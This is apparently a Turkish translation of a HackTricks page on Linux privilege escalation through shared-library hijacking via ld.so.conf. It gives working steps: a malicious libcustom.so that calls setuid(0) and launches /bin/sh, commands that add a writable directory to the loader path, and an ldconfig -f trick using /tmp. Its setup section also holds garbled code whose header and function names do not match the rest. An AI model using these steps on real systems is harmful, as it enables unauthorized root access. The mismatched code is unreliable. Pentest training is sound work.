9.1 KiB
ld.so privesc exploit example
AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı) öğrenin!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'ı takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.
Ortamı hazırlayın
Aşağıdaki bölümde, ortamı hazırlamak için kullanacağımız dosyaların kodunu bulabilirsiniz
#include <stdio.h>
#include "libcustom.h"
int main(){
printf("Welcome to my amazing application!\n");
vuln_func();
return 0;
}
Bu dosya, özel bir kütüphane olan libcustom'un başlık dosyasıdır. Bu kütüphane, özel işlevler ve özellikler sağlamak için kullanılır.
#ifndef LIBCUSTOM_H
#define LIBCUSTOM_H
// Özel işlevlerin prototipleri burada tanımlanır
void customFunction1();
void customFunction2();
// Özel yapıların tanımları burada yer alır
typedef struct {
int customField1;
char customField2[20];
} CustomStruct;
#endif
Bu başlık dosyası, libcustom kütüphanesini kullanacak olan diğer programlar tarafından dahil edilir. Bu sayede, libcustom'un sağladığı işlevler ve yapılar kullanılabilir hale gelir.
#include <stdio.h>
void vuln_func();
Bu örnek, bir özel kütüphanenin nasıl yüklenip kullanılacağını göstermektedir. Aşağıdaki adımları izleyerek bu örneği uygulayabilirsiniz:
- Öncelikle,
libcustom.c
adında bir C dosyası oluşturun. - Ardından, aşağıdaki kodu
libcustom.c
dosyasına yapıştırın:
#include <stdio.h>
void custom_function() {
printf("This is a custom function\n");
}
- Daha sonra,
libcustom.c
dosyasını derlemek için aşağıdaki komutu kullanın:
gcc -shared -o libcustom.so libcustom.c
- Bu komut,
libcustom.c
dosyasınılibcustom.so
adında bir paylaşılan nesne dosyasına derleyecektir. - Son olarak,
ld.so.conf
dosyasına aşağıdaki satırı ekleyin:
/usr/local/lib
Bu satır, /usr/local/lib
dizinini paylaşılan kütüphane arama yoluna ekleyecektir.
- Artık
libcustom.so
dosyasını/usr/local/lib
dizinine taşıyabilirsiniz.
Bu adımları tamamladıktan sonra, libcustom.so
dosyasını kullanarak özel bir işlevi çağırabilirsiniz.
#include <stdio.h>
void vuln_func()
{
puts("Hi");
}
{% tabs %} {% tab title="Bir örnek" %}
- Bu dosyaları aynı klasöre oluşturun
- Kütüphaneyi derleyin:
gcc -shared -o libcustom.so -fPIC libcustom.c
libcustom.so
dosyasını/usr/lib
dizinine kopyalayın:sudo cp libcustom.so /usr/lib
(root yetkisi gerektirir)- Yürütülebilir dosyayı derleyin:
gcc sharedvuln.c -o sharedvuln -lcustom
Ortamı kontrol edin
libcustom.so'nun /usr/lib dizininden yüklenip yüklenmediğini ve ikili dosyayı çalıştırabildiğinizi kontrol edin. {% endtab %} {% endtabs %}
$ ldd sharedvuln
linux-vdso.so.1 => (0x00007ffc9a1f7000)
libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000)
$ ./sharedvuln
Welcome to my amazing application!
Hi
Sızma
Bu senaryoda, /etc/ld.so.conf/ içinde bir dosyada birisi zafiyetli bir giriş oluşturduğunu varsayacağız:
sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf
Zararlı klasör /home/ubuntu/lib (yazma erişimine sahip olduğumuz yer) içindedir.
Aşağıdaki kodu indirin ve o yolu içinde derleyin:
//gcc -shared -o libcustom.so -fPIC libcustom.c
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
void vuln_func(){
setuid(0);
setgid(0);
printf("I'm the bad library\n");
system("/bin/sh",NULL,NULL);
}
Şimdi, hatalı yapılandırılmış yolun içine zararlı libcustom kütüphanesini oluşturduğumuza göre, bir yeniden başlatma veya kök kullanıcının ldconfig
'u çalıştırmasını beklememiz gerekiyor (bu ikiliyi sudo olarak çalıştırabilir veya suid bit'e sahipse kendiniz çalıştırabilirsiniz).
Bu gerçekleştiğinde, sharevuln
yürütülebilir dosyasının libcustom.so
kütüphanesini nereden yüklediğini yeniden kontrol edin:
$ldd sharedvuln
linux-vdso.so.1 => (0x00007ffeee766000)
libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)
Gördüğünüz gibi, /home/ubuntu/lib
'den yükleniyor ve herhangi bir kullanıcı tarafından çalıştırılırsa bir kabuk çalıştırılacak:
$ ./sharedvuln
Welcome to my amazing application!
I'm the bad library
$ whoami
ubuntu
{% hint style="info" %} Bu örnekte ayrıcalıkları yükseltmedik, ancak komutları değiştirerek ve kök veya diğer ayrıcalıklı kullanıcının zafiyetli ikiliyi çalıştırmasını bekleyerek ayrıcalıkları yükseltebiliriz. {% endhint %}
Diğer yanlış yapılandırmalar - Aynı zafiyet
Önceki örnekte, bir yönetici /etc/ld.so.conf.d/
içindeki bir yapılandırma dosyasında ayrıcalıklı olmayan bir klasör ayarladığımızı taklit ettik.
Ancak, aynı zafiyeti oluşturabilecek diğer yanlış yapılandırmalar da vardır, eğer /etc/ld.so.conf.d
klasörü içinde veya /etc/ld.so.conf
dosyasında bazı yazma izinleriniz varsa veya /etc/ld.so.conf.d
içindeki bir yapılandırma dosyasında, aynı zafiyeti yapılandırabilir ve sömürebilirsiniz.
Sömürü 2
ldconfig
üzerinde sudo ayrıcalıklarınız olduğunu varsayalım.
ldconfig
'a hangi yapılandırma dosyalarını yükleyeceğini belirtebilirsiniz, bu nedenle ldconfig
'un keyfi klasörleri yüklemesinden yararlanmak için "/tmp" klasörünü yüklemek için gerekli dosya ve klasörleri oluşturalım:
cd /tmp
echo "include /tmp/conf/*" > fake.ld.so.conf
echo "/tmp" > conf/evil.conf
Şimdi, önceki saldırıda belirtildiği gibi, /tmp
içinde zararlı bir kütüphane oluşturun.
Ve son olarak, yolu yükleyelim ve binary'nin kütüphaneyi nereden yüklediğini kontrol edelim:
ldconfig -f fake.ld.so.conf
ldd sharedvuln
linux-vdso.so.1 => (0x00007fffa2dde000)
libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)
Görüldüğü gibi, ldconfig
üzerinde sudo yetkilerine sahip olmak aynı zafiyeti sömürmenizi sağlar.
{% hint style="info" %}
Eğer ldconfig
suid bitiyle yapılandırılmışsa, bu zafiyeti sömürmek için güvenilir bir yol bulamadım. Aşağıdaki hata görüntülenir: /sbin/ldconfig.real: Can't create temporary cache file /etc/ld.so.cache~: Permission denied
{% endhint %}
Referanslar
- https://www.boiteaklou.fr/Abusing-Shared-Libraries.html
- https://blog.pentesteracademy.com/abusing-missing-library-for-privilege-escalation-3-minute-read-296dcf81bec2
- HTB'deki Dab makinesi
AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı yapmak veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARINI kontrol edin!
- Resmi PEASS & HackTricks ürünlerini edinin
- Özel NFT'lerden oluşan koleksiyonumuz The PEASS Family'i keşfedin
- 💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter 🐦 @carlospolopm'da takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github reposuna PR göndererek paylaşın.